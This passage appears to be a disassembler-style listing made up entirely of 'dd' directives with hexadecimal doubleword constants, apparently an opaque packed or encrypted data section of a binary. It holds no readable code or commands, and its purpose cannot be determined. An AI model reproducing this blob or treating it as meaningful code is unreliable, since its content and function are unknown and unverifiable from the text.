0F100DD72h dd 70D0FDF2h, 4B7445B0h, 5B4EC03Eh, 5D00667Ah, 803F7E6Fh dd 0EC18B25h, 0A6F99FCEh, 0E28B043h, 0E005C2D9h, 1E0392D8h dd 20B449EAh, 0C02CEA3Bh, 0F416Fh, 61574B4Dh, 93F985FAh dd 2C6440C0h, 197ECh, 173C07A2h, 41D122C9h, 2452D900h dd 0C4926FC8h, 0C29D0F49h, 0DA45D63Fh, 996E80CCh, 9F0FA34Eh dd 0BD3C3Bh, 0C1C725C2h dd 0F9D11C60h, 3ADB9DD6h, 3E6AF880h, 83747972h, 0BA934800h dd 133F0AC2h, 5FE870h, 767C0F45h, 0A68F854Fh, 3E3CF39h dd 900EDCF5h, 70409801h, 4E0F018Eh, 582D8921h, 0E0B4F5FAh dd 760EC359h, 4E86F379h, 0F29F808Eh, 4DECE9A4h, 0F13082B9h dd 72310C89h, 20491600h, 3D323CBEh, 347E23Eh, 6D27663Fh dd 99F85EECh, 0AC3825C0h, 6005070Bh, 0E6C593CEh, 2504180h dd 0C314034Fh, 5DB3285Ah, 0B2D381A8h, 0F2BBE309h, 5CD880E6h dd 486E2D2Ah, 580570FAh, 0F0817C90h, 4E019555h, 0BF5E0F9Eh dd 0D6C9C9CFh, 72C2DECCh, 0FA702C60h, 765D06AEh, 27008D7Bh dd 0D9F641C1h, 7938E9F9h, 4B037946h, 7E5FCEEh, 853D7E58h dd 2E0591B0h, 16A101ABh, 0FCCFCE20h, 92F1C8DFh, 1101CC7Ah dd 84321E36h, 0F840563Bh, 22824Ch, 4F2A7063h, 8EF60F7Ch dd 98CF39h, 0C2A8CBA1h, 3A94E124h, 27AE38D3h, 1E200FC5h dd 0B3329201h, 0F0C14768h, 0F1A0E288h, 0C21F1200h, 0DF27C791h dd 0E2F8F641h, 72380F07h, 83E04E15h, 64C35CD8h, 0E26FD307h dd 0C69049B2h, 924D7F9h, 859FEDD6h, 5AFE9170h, 8056B03Ah dd 0F8A6F490h, 9A94ABh, 0AAA0D813h, 773A394Eh, 3E1E59F0h dd 4C0EC49h, 40900C3Dh, 423000BCh, 0ADA0997h, 1239E002h dd 8E76B857h, 409F84ECh, 98A8BB2Eh, 6B30FF3Fh, 9E100326h dd 5B133C9Dh, 7C27D400h, 6CC7D461h, 7405EE14h, 0F83B1F84h dd 84629F96h, 80F99EBAh, 4E740C38h, 9D9A2D38h, 6B805678h dd 0CFA2E80Fh, 0EECB00E5h, 34030E41h, 1CF81694h, 1700FDB8h dd 4A384929h, 395D9699h, 890083F9h, 0A1278A68h, 0B17BAC61h dd 0D26CCB00h, 6436DE2Eh, 184E00FCh, 78D82A49h, 3BF01EB8h dd 8756C23Bh, 30546C62h, 0C0D375A2h, 0EB53CAAh, 0E27E0E50h dd 95DF140h, 430E2506h, 63AF3487h, 14A4D9h, 3BA03AACh dd 3DB43CA5h, 0DE2CC91Fh, 3EB18404h, 58882A80h, 0FEDBFEDAh dd 1E3F4DFh, 0A861E725h, 71F3F9EFh, 6CFBD038h, 70EFA05h dd 0FD000D3Fh, 37CF258Eh, 4F3D380Fh, 1E558F9Eh, 0C96D8067h dd 4EC05881h, 50839502h, 74C8F3BAh, 80EB1D7Bh, 0B004F7FAh dd 0E4000982h, 1B11C4F1h, 3C533Bh, 3E5B3D57h, 4E63265Fh dd 0C26B9200h, 50698074h, 0C4C2A09Ch, 36AF4B8h, 0F6C97831h dd 1000D9BDh, 2775760Bh, 64B5E0h, 3ADCAC4Dh, 1C5A2472h dd 351A8500h, 0BC9093A7h, 0DBC600A2h, 37163896h, 76001D04h dd 0C8C50C17h, 8DF40Fh, 6CE1918Bh, 539DF999h, 0F2A5FC00h dd 0C5FEA7A9h, 0E4D900E7h, 1568F0EDh, 840E879Fh, 8251673Dh dd 0C08CF872h, 8EC19Eh, 90093E82h, 4F92F08Ah, 7C42E6E5h dd 0A27E3A40h, 0C2AA4A00h, 887CEAB2h, 0E0120313h, 5DE84982h dd 987A9CD8h, 7E0EACFAh, 0E0E959C0h, 253A110Eh, 3BFA005Fh dd 3D613C4Dh, 0B27B3E87h, 0E5072D9Eh, 0E4708464h, 1F11B58Ch dd 6CAB9Ch, 9302F624h, 8600C218h, 0C0E48457h, 9085E808h dd 4E5D2C33h, 0B3CF003Eh, 0BB4BB70Fh, 5BA25001h, 0CB4C0BC3h dd 0A4392EDDh, 0FDB0C7Bh, 311EF754h, 2D921C09h, 80418BC9h dd 2171FE4Dh, 33B01F28h, 0D1C300B9h, 344CD8D3h, 0AC394F2Eh dd 36E9A300h, 0EAF8E1EFh, 0BF50002h, 0FFD131FDh, 820787DAh dd 4C35272Dh, 49F044E0h, 4749Fh, 97C2A076h, 87260BB7h dd 0E5A31C00h, 0AFEAB0A7h, 0BAB300FCh, 54BB7E22h, 0C70B9EBFh dd 80508BB5h, 0F34BE1B1h, 3F80561h, 8342092Eh, 23D83E61h dd 0C23B3A84h, 305C8351h, 77937B1Fh, 70980186h, 34AC5D5Eh dd 0CA2D603Fh, 0DE08C102h, 0C0060F2Eh, 580A12h, 4A3074FEh dd 44F6C838h, 0F8919500h, 0FA272B50h, 36A41EFBh, 3A564045h dd 0DC9270E8h, 4AA97400h, 0E0CC5FD5h, 0FD41D6Eh, 810E40D3h dd 0E1ECB1E8h, 9511F003h, 0F0998A04h, 0EC0F5E2h, 9C8F3263h dd 9EA81D60h, 0E30016BAh, 93F726E1h, 41747h, 0F8C26334h dd 9EC669D7h, 95A7C00h, 0A966374Fh, 968500A0h, 6E50920Eh dd 0CE0F7E49h, 602E7824h, 0B08E16AEh, 0F0EB121Ch, 0D2740042h dd 0BC6B4466h, 0DA2E2637h, 0D5D0B8B7h, 4BBEA8h, 3DF28329h dd 0F0E947B2h, 0E68F5E50h, 7EC97305h, 9D87DA70h, 0AB5A9D50h dd 0BE443EC2h, 0D21FA400h, 0F8490D97h, 20E1290Bh, 0FBAE05Bh dd 0CF862C8Ah, 0C9960767h, 0AE24F29Eh, 0BE748E58h, 93FC600h dd 2AE4D68Eh, 3D030013h, 260F097h, 7D003E2Fh, 3F217081h dd 4386C29h, 4C26453Bh, 500ABAEh, 0C811E088h, 39EA015Ch dd 2D663A2Fh, 0A7868076h, 0A8CEBC24h, 3C0F5CDCh, 414F3300h dd 0F07E3409h, 0D85D9C00h, 50BA5CC0h, 953800D7h, 0A0596685h dd 0F8009E1Ch, 0DC1AFCF5h, 3D519D3Eh, 0C58B7B1Dh, 1380E112h dd 5EFCF04Dh, 0E4168800h, 5014C609h, 44762CD8h, 607A013Ch dd 0DC4B7B7Ch, 0DA014A0Eh, 30D0E98Bh, 0EAE41B4Eh, 46CF0034h dd 0CC38C003h, 4B00DD92h, 0B2F0BDE4h, 9E9CA8h, 0D126C26h dd 0E82972E0h, 6A9A3700h, 8549807Ah, 0C72700DAh, 9CC11642h dd 0CC4C68D6h, 0EC80B14h, 727D003Ch, 0BFC9FD8Eh, 2F4DD583h dd 0EF8020E9h, 509BB0E7h, 6898B038h, 101CEA00h, 2F92153Fh dd 0D6282CE0h, 8E9F03FEh, 32B009B6h, 6800C19Ch, 0D136C926h dd 3A49D93Eh, 5E87B228h, 70617F2Fh, 960B3FA0h, 24D8B50Bh dd 0C4B88098h, 0DAC954h, 50859DD3h, 15CAE0DDh, 2931260Fh dd 92626088h, 0AE8276h, 2C7C7E9Eh, 3249017Ah, 4D334200h dd 0EC3C80C9h, 84D7002Fh, 0F6F819DAh, 0C101BC27h, 166EE9D8h dd 0DA300964h, 0B89C0058h, 4C897898h, 1C0091A5h, 4E9D4636h dd 169E5E1Dh, 0B0831E66h, 0A800ACA7h, 746C72BBh, 0E27693h dd 69385C12h, 0B27C2683h, 6600C9E8h, 0F9B4F1A1h, 27BCAh dd 0C390516h, 17A34AC3h, 0C223B300h, 7E06702Fh, 525E0040h dd 0C968660Fh, 36094188h, 0D96C6494h, 69201EBh, 0CC4A74B0h dd 0E6724009h, 3A024200h, 2CC2104Eh, 70E8FC3Ch, 28682641h dd 2A8E3F4Bh, 0FA00D34Ch, 0DD315230h, 34293300h, 84A7672h dd 0AB0C1C0Bh, 0D3E640h, 58C98D5Eh, 880E3C20h, 0A00965E4h dd 0E3603E41h, 6CD0F78Ah, 707D2Dh, 0E498C720h, 232979Ch dd 0DE1C1072h, 0F88045C4h, 620D2F22h, 66E113EAh, 7B980006h dd 0D812EE0Bh, 1A4BF002h, 0E2C63AC3h, 33AEC013h, 0BEE400AFh dd 265081B7h, 3C019335h, 410E251Ch, 0E0306474h, 0E2E80030h dd 9682DC06h, 8600562Dh, 5A2C621Fh, 91DA49Dh, 3CFE81FBh dd 0C8FA4D80h, 1C003E57h, 93713F46h, 0B4E179h, 0F4B12260h dd 0FCC7F8BCh, 58DDFF4Ch, 947C053Ch, 0C3C0FE80h, 901D31h dd 96849754h, 2E08BC1Ah, 25CA6F00h, 40E15E87h, 553800F4h dd 745B7239h, 8F704983h, 3EAE3D00h, 0EAF32CC6h, 1EC001B3h dd 46A2B92h, 0E956E4C1h, 4B00F1E2h, 0F24CE238h, 3824763Bh dd 3D80099Fh, 4E32D847h, 2E00C366h, 0DC94D28Ch, 279C122Ch dd 4DC19E83h, 4A1670F2h, 96B41F07h, 893C2F6h, 22929063h dd 0B29D0043h, 7CD07054h, 0BD007EB8h, 0C53F8917h, 74230B1h dd 7724F080h, 499E00D2h, 0E100D6FAh, 6807E9F5h, 3263A66h dd 3CE42B24h, 0D9B88F3Dh, 2D3E93BCh, 0EC560BA0h, 0B575815Eh dd 0E7F8FA07h, 0F9E405F1h, 0C05D6093h, 856449E8h, 27CA781Eh dd 0A17207C0h, 14E4ACE7h, 0BE76E0BBh, 38B4CE00h, 60A00A17h dd 89951A00h, 311C04B6h, 3C74B8BCh, 4F81613Dh, 0FC5BE434h dd 608E6163h, 0B7E2B0A5h dd 98879703h, 93CEE7C4h, 0E4DAA0D5h, 9CBC01E2h, 5804F32Dh dd 2794DC09h, 8C07161Eh, 93FE8FC0h, 0FE36323Fh, 7E8A3C70h dd 3772007Fh, 8640A06Bh, 0A5E21CB4h, 1DB89D00h, 15F09ECDh dd 2FFA002Dh, 8BCA856Ch, 0C80ED4D3h, 0C03CC1E1h, 3E7C0C92h dd 5602C11Dh, 0E4C36296h, 1B0BE0FFh, 0BE273Fh, 0B64F46DCh dd 7449176Ch, 7C5E04D8h, 0C8B3C05Bh, 401C5070h, 1C014F0h dd 0EE300BA3h, 3A7C32h, 0F916640Ch, 2F34B8FDh, 0C6610500h dd 0E177310Dh, 0E3B0086h, 29ED25E0h, 560028CCh, 2E7353Fh dd 741C53Dh, 0FC4992A0h, 0FD51204Dh, 59008C20h, 611FFA94h dd 76593h, 25923B98h, 9A08E002h, 380A9C00h, 1FEC824Ah dd 0F77A48DEh, 987C4B00h, 76165C26h, 96308312h, 0ACFA4A00h dd 12B0D4h, 0BC684FB4h, 7678C0CBh, 75C85B3Bh, 50F08B00h dd 87F84ACAh, 3F032772h, 0C200D4ECh, 7E265814h, 48204A1Ch dd 0F413F68Bh, 28EEE292h, 6000FAB7h, 68E564E7h, 3E70DE4Ah dd 0B9935EE0h, 3EBEA0A8h, 0B41A0F00h, 6AA7B8C9h, 0C4E400C0h dd 0FCCC64E0h, 0C600BAD0h, 0BECBD85Bh, 0EB250C9h, 40C61F0h dd 0C32A08E0h, 14E6104Ch, 0E318D300h, 0F020F21Ch, 285B0086h dd 79FBD0C7h, 580E71D2h, 46FA5CF9h, 8AE548h, 7CFC78A0h dd 8416A29Ch, 8CE8F012h, 13EA5700h, 0B682B4h, 0CCE058C0h dd 88D860C9h, 2305E71Dh, 2D01BC9Fh, 0C0C83166h, 0C93CCCh dd 0F0686F40h, 4F2EFD64h, 81709E3Dh, 7CECC174h, 84C880F9h dd 2FE60078h, 9404418Ch, 65A2E7Ah, 0E3C0F5C3h, 760CE2C4h dd 0E8E2840h, 0DCCFD8E0h, 1CCB405Dh, 2C5FAA70h, 3C100905h dd 94A87C78h, 0E15C8A00h, 74F96C12h, 84222F00h, 44AE568Ch dd 0AAAC01A4h, 0A661B425h, 588240C4h, 0BF63064h, 0A4701A00h dd 0B8E884D2h, 0B8C752Dh, 16FC9462h, 0B84970h, 0A803A47Dh dd 6FB02CC1h, 7BB8F80Bh, 1C4107FEh, 0A02F3834h, 20704832h dd 0F5C5A00h, 6CCB689Ah, 2FF0747Bh, 0AB63DC79h, 96F441BFh dd 0C04630F8h, 8004353Eh, 0E164C611h, 0FA6CE968h, 0AEE70h dd 0E285B778h, 0B9E4BC80h, 0C07C3E01h, 0C20B9FC8h, 0FAD464F4h dd 0DC2D00FAh, 0F1C9FCE5h, 301FD9D2h, 38800B3Eh, 7C7214D1h dd 4FDE00E4h, 0A0E68298h, 120036F4h, 0B0AA83A8h, 0F2B4F3h dd 4F48D0B8h, 96F69FC0h, 10609C00h, 18888597h, 206A3EB0h dd 28068480h, 64E808FDh, 1344BC01h, 740EF06Ch, 80A8C680h dd 88B00F2Fh, 588CC900h, 0DE944FC6h, 0D08F0E1Eh, 5263D4CBh dd 0E090DC7Eh, 0B00E45Bh, 8650ECAEh, 3F0FF45Eh, 0E80FC76h dd 8490438h, 4A48EE58h, 18F00073h, 0F4561CE2h, 147B01Fh dd 162C9328h, 0D8A4B1AFh, 0E07F3C02h, 87B5440Bh, 75F858h dd 4B854E4h, 602F5C3Fh, 15A00E03h, 85B6AB01h, 3FF013Bh dd 40E86090h, 0EB0E1506h, 87821144h, 2EB590DBh, 4D02E00Ah dd 44BB18DEh, 0DD039029h, 719D2B18h, 33BD8311h, 89AD30D8h dd 832E2FE9h, 3E850F0Eh, 8D183B05h, 5027E030h, 0EC2095FFh dd 60897D31h, 0F88B1BDCh, 0ED669D8Dh, 432D5311h, 797936E8h dd 21FA4228h, 4E7D4457h, 6A49D48Bh, 6A075618h, 10066804h dd 0DF46EAA0h, 4C6D38ABh, 75264268h, 2A453AA3h, 0E853C70Ch dd 7F8B3774h, 0FBD51C8h, 1B41B5E1h, 0ACE2A4F3h, 0A3807623h dd 57E35036h, 850E0E8Dh, 7EF2C51h, 10AC3C0h, 2100409Ch dd 2002B063h, 7F3C9008h, 145200C4h, 4409108Ch, 0D8BD21CCh dd 57E100E0h, 330E0520h, 8500222Ch, 4FF016Fh, 559D8Bh dd 0B0CC02Ah, 0A7A74DBh, 870003ECh, 89195985h, 318DF0h dd 831171B5h, 840FC03Eh, 47D36A1Dh, 468B4043h, 68E4C004h dd 141EFC99h, 9A063850h, 0EC305586h, 8B560D1Fh, 9D0309C5h dd 51A0BB05h, 2F29A03h, 6EBD8880h, 12D0070h, 85FE4C75h dd 8B0F0940h, 0E050033Eh, 370EFF1Eh, 0C30707C6h, 0CF8FD7A7h dd 535651A3h, 83BA00D5h, 0B55506E9h, 33173FE0h, 56000BDBh dd 1A781C03h, 0E83C17ACh, 0E9FA00BBh, 494304D8h, 0EDEB0100h dd 0C3831E29h, 0C6CD0005h, 0FA4C76F3h, 5B070DE0h, 6258595Eh dd 36104837h, 0F90CC1h, 8DA5F302h, 3C0377E1h, 535EA400h dd 809C5088h, 9B853B82h, 7D8A083Bh, 1ED57AB2h, 0FF45C0C1h dd 64E402A9h, 0E10729FEh, 864B5595h, 2B0F1970h, 79D89DD0h dd 0E8C1C200h, 0B88A4610h, 235D0067h, 4C3A6D03h, 0FC0074FFh dd 834E548Bh, 0D17308h, 0ADCA7DACh, 0C107EF66h, 910CEB00h dd 9D7401FBh, 5002070Bh, 0C7033D16h, 2F2CF020h, 0E3001481h dd 79820FFFh, 0E604011Fh, 7E1D79D4h, 390EEEB2h, 8DBD462Dh dd 0B8E20200h, 61DC9ED9h, 128B4B0Ah, 6000E203h, 40C0850Ch dd 1539071h, 0EAC2EB83h, 20C7A2D8h, 26000CF0h, 53073275h dd 29F016h, 4A4D6E04h, 413BB4C7h, 0C403A901h, 66470646h dd 107AD8h, 1B57ED6Ah, 7ED618B7h, 0FA511A00h, 850D41B0h dd 0A49900DBh, 62F759A2h, 802501ECh, 0F0F475h, 5653C543h dd 6500028Ah, 19B5AC7Fh, 0E6E8B850h, 755B0367h, 2A25A66Fh dd 0D28B57E0h, 83659839h, 31342BC7h, 99E9D842h, 4939012Ah dd 37DC3606h, 188EDC53h, 5A247500h, 0C1124AD3h, 140200E2h dd 3F7C0F63h, 835F3C7Bh, 30AE0h, 0D91CA35Ch, 0A1DE1304h dd 0EB5F2300h, 21515A16h, 8177A4h, 8307894Bh, 3704B14Ch dd 0AF32E900h, 4A2D06E7h, 710E892h, 0D9141C0Ah, 0FEEBF0C1h dd 8500BA24h, 0A4506544h, 735B483Dh, 100400C2h, 61022F11h dd 0B81F0875h, 0C402201h, 32BF54Bh, 1C9300C3h, 0B715588Dh dd 0AC005051h, 7656DCD3h, 3942DEBBh, 0A3804825h, 2708ED21h dd 9400DB30h, 641A8B4Ah, 38D83D3Ch, 0C40283D0h, 306A5F10h dd 0E1468961h, 0C9C2301Dh, 2C47F600h, 513C978Ah, 74985Bh dd 43A57729h, 14959FEFh, 4CC2CE01h, 0F4391833h, 0AB10D4h dd 0AC4A4051h, 779F196Eh, 53D51E00h, 56D28D89h, 0E49B00F2h dd 68C598F0h, 0C73BC84Dh, 50D480DAh, 5C9CB6BEh, 31EEE4h dd 13B5A1Fh, 3733888Ah, 0EF60DA00h, 0BB86BC39h, 0E2EE006Fh dd 1072C6DCh, 0AE0096FEh, 24CF0A7Dh, 0ADB14Fh, 4C2A4481h dd 0CDD53940h, 0C8012301h, 79B62C09h, 0BFF1E4h, 17607C0Eh dd 0AB51E0FEh, 8D0061EAh, 1690FBD6h, 2FD240h, 28A1B4D4h dd 587CC109h, 0B8191100h, 98107174h, 0C72A0059h, 0BEBB8531h dd 80009F8Bh, 233935E8h, 37BD87h, 92DF5D63h, 4E4F0372h dd 6D009579h, 57B9D5E4h, 38DEA83h, 82B7CD0Fh, 7C00DBCh dd 0B103FD41h, 87A3972Ah, 8ACFE029h, 48240078h, 0B7EA61E9h dd 0D5EE7649h, 0F768441Dh, 0A1145080h, 0F2C4BC60h, 0C8E0027h dd 0A0656631h, 0BF00174Bh, 3FD6872Ah, 6EEDF1h, 0DC8ED3BCh dd 0AD30EC57h, 0D548E5FAh, 56CB05FDh, 0C3BB4CF1h, 800A1DBh dd 0A575C410h, 8CDBEh, 31E18193h, 42CED970h, 0DE19DD1Fh dd 71959987h, 3F8F1CA0h, 4698003Dh, 0DB31A266h, 50030A8Eh dd 5DA8D0F7h, 59C6D05Ch, 24D51EC2h, 0B842CF0Ch, 0BD49E9C0h dd 8100262Dh, 62CDBB78h, 0A2023h, 0B0FCEC59h, 5C33F086h dd 0D79BE600h, 0ABE21B42h, 411C0060h, 5D740602h, 0F00ECC61h dd 7F834AC6h, 2FA2EC0Eh, 31472075h, 0D55E0Fh, 0B39E8D01h dd 0C78E62D4h, 5A1DCD00h, 0F5B2F9A4h, 0A22F6092h, 1C684ADEh dd 512E1E0Eh, 451A4069h, 0F430F8Ch, 0B82A844Eh, 0FA7B6C20h dd 0B400A860h, 768BC7DFh dd 7DB91A0h, 179A270Ah, 487F006Bh, 0EA038997h, 633644D0h dd 1504E083h, 18CECDFh, 35586176h, 0C46F24BFh, 0E63B5599h dd 0EC2B0019h, 17685464h, 0A16A00D0h, 0BB2624A3h, 0F47C76F0h dd 1DAFDB04h, 8280E69Bh, 88662Ah, 650824C9h, 0E978890Fh dd 737938h, 50D74341h, 6EC21Dh, 69EC54E7h, 1367D3B3h, 3E74EA1Eh dd 7B9D3700h, 0CEB45Ch, 62574738h, 33B5B6E9h, 61B30800h dd 31033CF3h, 2BC33A65h, 27BAAE00h, 116A8B22h, 0D925B300h dd 3CA1E837h, 0E4481E5Dh, 0D29CF6h, 41E2D45Fh, 641C0467h dd 0B4FD6F4h, 7FDCC037h, 1B6C36Eh, 12E357A1h, 0CA01AA54h dd 53458EC0h, 4072200h, 0EC5FD244h, 0D3C80020h, 0A96D7C14h dd 2A01D9BCh, 0B851CF3Ch, 5AC56C31h, 0ED01E0h, 7BCBB39Dh dd 69C5ACA6h, 4A6F2500h, 2565E2Ah, 88F81410h, 1A00E4DAh dd 76A73E27h, 1301EB1Bh, 0C0CE492Ch, 92FCD780h, 15850056h dd 19D152BFh, 0B50053D4h, 0E396C067h, 320482h, 0AA0E3C76h dd 0D449596Ch, 771D7C72h, 4E8F095Ah, 7EC0FD70h, 9207A7B1h dd 3FDC3E27h, 0AFE2DD03h, 70F0B084h, 0AD001881h, 0CF147C9Fh dd 0A8C26Dh, 6878AC54h, 0F73128F3h, 0B033C500h, 9B35B6B1h dd 0FC2DE6A8h, 641500C6h, 0D104CA8Ah, 0D034BE0h, 81242C8Bh dd 4FA0BCEDh, 35557BC3h, 870860ECh, 0C7D7034h, 8000B2FCh dd 8846068Ah, 1E024707h, 9E0575D2h, 0CA129D16h, 500BEF73h dd 0C057334Ah, 830F090Dh, 0B83F62D6h, 0AFC0130Fh, 674E00Bh dd 0F87C2B57h, 0BD5F0731h, 0A061A0EBh, 72C13E4Eh, 0F7E883EAh dd 5AB928E1h, 0E0C92120h, 2BF78B56h, 0A4F3F501h, 0FF58E95Eh dd 0C1480282h, 0B2A208E0h, 31B5E88Bh, 7D183D9Ch, 0C81A7336h dd 143F050Eh, 2140410Eh, 31811F0h, 777FF883h, 2C1A903h dd 2CF6155Dh, 0C90033A3h, 7401E8C0h, 6AD18312h, 0E21CB602h dd 5D07FEE7h, 552609B9h, 82618687h, 797008C2h, 7A8817E1h dd 39FE7C5Dh, 38C76AC1h, 560FDC5Eh, 7574A369h, 1541F361h dd 0D636F16h, 65CE468Eh, 508F0C35h, 9EFF6F8Eh, 450FB863h dd 7AF16978h, 53E373F8h, 8CC67545h, 4D6343A6h, 0FC676129h dd 41F00EFFh, 7060770Fh, 746E6972h, 4C146663h, 4544F04Fh dd 6206E52h, 98707B9Eh, 50657AE5h, 6F643E70h, 375FB875h dd 2079C642h, 1F53BEFFh, 63DE7325h, 2DD35C65h, 0B5BE8CDEh dd 874D3862h, 1EB7E261h, 6BFBEE38h, 0F7C779CBh, 2E63C66Dh dd 0B6B20CCh, 0DA727E62h, 51A76875h, 2C64D66Fh, 1E2BA2A3h dd 245E4375h, 38C4C190h, 0E509D232h, 0B3181529h, 33FD4702h dd 0FEF741F1h, 239AF5D5h, 7E8F43FFh, 0A663B5D2h, 4163467Dh dd 0DF6F4C27h, 9F5394AEh, 67B3B4E7h, 4EA4A9B4h, 0EA00DF96h dd 10060h, 3CAA0000h, 48F0000h, 82981225h, 0B18E10B2h dd 57D820D3h, 89CAECB4h, 6FB0F77h, 131DE5AAh, 6DAE9264h dd 702C9670h, 0AB15D75Ah, 567EE701h, 35565E40h, 94613FC5h dd 93C708B6h, 0A12614B1h, 1957D9E4h, 25BC51E3h, 0C297F8E1h dd 0A30C138Ch, 0BA762695h, 98830E70h, 0E5225270h, 0B5D267FFh dd 76C00353h, 16DCCBDCh, 910FC0AEh, 0AE92BBB7h, 21AF747Bh dd 0D45FCB15h, 0A55AACA8h, 6F4FA53Bh, 7A1168D3h, 0D7798258h dd 0A8A1D38Bh, 9BA1F792h, 0C9E09E92h, 89BFB92h, 0E66E947Ah dd 244CD5D9h, 369109BAh, 0CA31AD65h, 0FAFB5EA5h, 6E068FA9h dd 5B003DF6h, 714DABF9h, 0A6853949h, 0D0F22C8Ah, 75C552h dd 3DB0E85Ch, 0C8586487h, 0D873D033h, 0D18204C4h, 0CC2B84Dh dd 0A504E457h, 0A2C907B8h, 0B1A6E591h, 12978C6Eh, 2DA06AB7h dd 6C91987Bh, 3F58CEBDh, 4315824Eh, 0FC39E33Dh, 91DFB43Ah dd 0B3D5CDBAh, 2B4929C1h, 0CA5BCFA3h, 7726E5C4h, 9FFE3861h dd 0A6D38BC5h, 1D7C1114h, 77F7249Fh, 891C5AD5h, 0C7D4A8A0h dd 0AED2DD5Fh, 3ED6B5D2h, 90906733h, 67296DDEh, 0BFFD4BDh dd 5933EF4Bh, 89FD1292h, 963B06Ah, 0ABBD2B8Ah, 4F1AEC1Bh dd 0FBF6362Eh, 7EE38BD4h, 2C824784h, 0F652C5Ah, 0B9B48FD5h dd 428C3B1Ah, 0E85A346Fh, 0A2DA1515h, 8657C060h, 7DC8944Fh dd 0A6F3A167h, 789E253Eh, 5AED0BB6h, 77CEC83Fh, 3E9519EEh dd 0E2B790B2h, 0E6B60A87h, 7318AD1Ah, 2F847EE7h, 0C85C8E4Fh dd 1353DD9Bh, 6CCD70F3h, 4B75C97Ah, 88C86CEh, 5F1F0049h dd 7D833B6h, 0BCD8A49Bh, 0B34A6A59h, 605163E2h, 0CDA26106h dd 37824090h, 0D8DE4B8Bh, 4106B62Fh, 42D12AB9h, 570C33Dh dd 4761E70Eh, 7DB22819h, 0C5798F1h, 54B5A1D1h, 26281A9Ch dd 914A562h, 0DD07C94Fh, 0B3FA728Eh, 0B1DC6D0Eh, 3C0428C8h dd 3B614584h, 0C4D7A44h, 591D480Fh, 0B817F16Ch, 0F6D5EBACh dd 5F36B97h, 0F889B61Dh, 125088DBh, 0DE47A648h, 9BEA5721h dd 8D94E2DEh, 7DDAF6FFh, 77939661h, 67AB316Bh, 7F3322Bh dd 660143D2h, 1472492Fh, 616033C7h, 5BC00E4Ch, 0D957D9A5h dd 2827CF5Dh, 0B67D3B4Fh, 767BA0D9h, 17A1103h, 943001CBh dd 0B89B8382h, 4AEE36DCh, 926E33D7h, 659BE778h, 8FEEE9AFh dd 5FFFD7AAh, 0D201F06h, 5A8985E5h, 0C2812545h, 8B1E5F5Ah dd 85FD655Ch, 77238A4Fh, 0F399A2C4h, 0BDB438DAh, 6CE538A1h dd 8D5D6B26h, 240C88B1h, 0BACB920Ah, 0C6DBFC5Eh, 0CA90A84Bh dd 0A5D76A9Dh, 17F94785h, 61E27E39h, 0EE706897h, 5CA2234h dd 6DB5BE9Bh, 0A0D9B278h, 0FFFE25C9h, 0AE73F93Bh, 1EF3851Bh dd 0C2FB2DC0h, 0AE001D15h, 76AC65CDh, 36713669h, 8BF75D6Ah dd 35B741A8h, 0CE43BDFAh, 2B7B1E75h, 6FBB234Bh, 0E72A7378h dd 8EE46BB7h, 3A2D34B4h, 494ADD83h, 0D45E8753h, 400CCBE0h dd 9E99504Fh, 4D965830h, 0CB9C430Bh, 5F45C512h, 3E07BFB6h dd 8215E9F5h, 0F7D91BCBh, 7564F527h, 87E5D027h, 0E237FC7Ch dd 0EAE7BF9Bh, 6FC6AAFCh, 0CEBA08EDh, 287E91B9h, 8C7653C0h dd 111D3974h, 0CDBC9D11h, 65B62F86h, 42891EC7h, 4850C3ACh dd 9B11ED18h, 5AD058D4h, 0A4EBC88Dh, 0CE7FE800h, 0D45855C1h dd 0B81ED904h, 0AE96C584h, 0B0E3571Bh, 0E1BCEB60h, 0B03DD891h dd 0DBE0CE30h, 66BB4E1Ch, 0F8665B23h, 0DF4514DCh, 0E69098E4h dd 0AE6293C4h, 3104EA4Ah, 0CCC3A2Eh, 0DB0FE343h, 186B2A66h dd 98DA3377h, 1606285Ah, 8E39202Bh, 8078E887h, 31F23C20h dd 8A7536D9h, 5124EA1Fh, 13E5ABBCh, 7401450h, 84AB3361h dd 0E13F0ED8h, 343281F6h, 497E12F1h, 59AF34F4h, 0AF1B0760h dd 1A0C45Bh, 0B5283489h, 4300B3ACh, 8526391Dh, 0C93BAAECh dd 4DB70593h, 945CA106h, 0E8FBA6C4h, 0D6613A45h, 0F4BBF10Fh dd 0D0A5A320h, 0DECCEF5Fh, 0ADAC87F7h, 8730F843h, 0C6664796h dd 0E5F736C2h, 1D25AC03h, 565E18FCh, 35F59FB2h, 0A909BA5Ch dd 95A7F3AAh, 375DF1A2h, 0FA5DFB6Ah, 9CD7F37Eh, 5CD97291h dd 0AAA6AA65h, 58406C1Dh, 19E9AF62h, 0C918E0DAh, 405B9FF1h dd 0B804CBF2h, 0B074FD33h, 8F12AC88h, 8546D5E0h, 0CE86581Bh dd 0D58D98A7h, 0AB117E37h, 68A924F3h, 0F4A252C8h, 0E4F5441Eh dd 8B527E3Fh, 9F125029h, 77AF1944h, 0F6D57035h, 0C6FC560Ah dd 0F14CE88Ah, 0A8E1B2B6h, 31EF9DDFh, 0F74BF243h, 0B83F8B41h dd 3697F9CDh, 0DC6C35E8h, 9D9EC461h, 55171894h, 25D8C8CBh dd 5B01799Fh, 9E85D0EFh, 0BEE2EC9h, 211AF589h, 6131868Bh dd 0CA057410h, 32E3E9B9h, 92EF9D6h, 677EE7B6h, 14C85D4Bh dd 0CF446013h dd 7025F7E5h, 0C607B8B7h, 6CF892DDh, 3F7B66DEh, 0E35433D5h dd 48227921h, 1BBD6E8Bh, 0C630A3E6h, 69DBEFF6h, 85D90E73h dd 565FF520h, 0D690AE0Ch, 3AF26609h, 71E482EAh, 2ACA83Ah dd 0B4FACE3Bh, 89B4F73h, 0E6230233h, 0CBEB1176h, 0B58B7FD1h dd 0E8159B40h, 7CB9DB9Eh, 6B548107h, 0DF533FB2h, 7A49626Fh dd 7DD11694h, 0EB9E02A7h, 88A87B58h, 0DF2E0C4Bh, 2F655F2Bh dd 0CA3252FCh, 0A70D8B07h, 0C1A05175h, 70020A2Eh, 485072A5h dd 6E13ABC8h, 537C398h, 1BC86267h, 561930CAh, 4AE1AFCBh dd 3BD990B1h, 320DB8C2h, 4E5D5B4Ch, 88BDEBEFh, 19101DCEh dd 0ED546812h, 598095B5h, 5DA2ABBFh, 666E01CEh, 3C7C88A9h dd 8E579115h, 6D81DC98h, 0CAECB8AFh, 5E16CAF0h, 7B08BD3Fh dd 0EB190897h, 105FDA1h, 406EB70Ah, 985E5BF6h, 0DDF3885Ch dd 0F3BB817Bh, 877D1E56h, 328C8C5Fh, 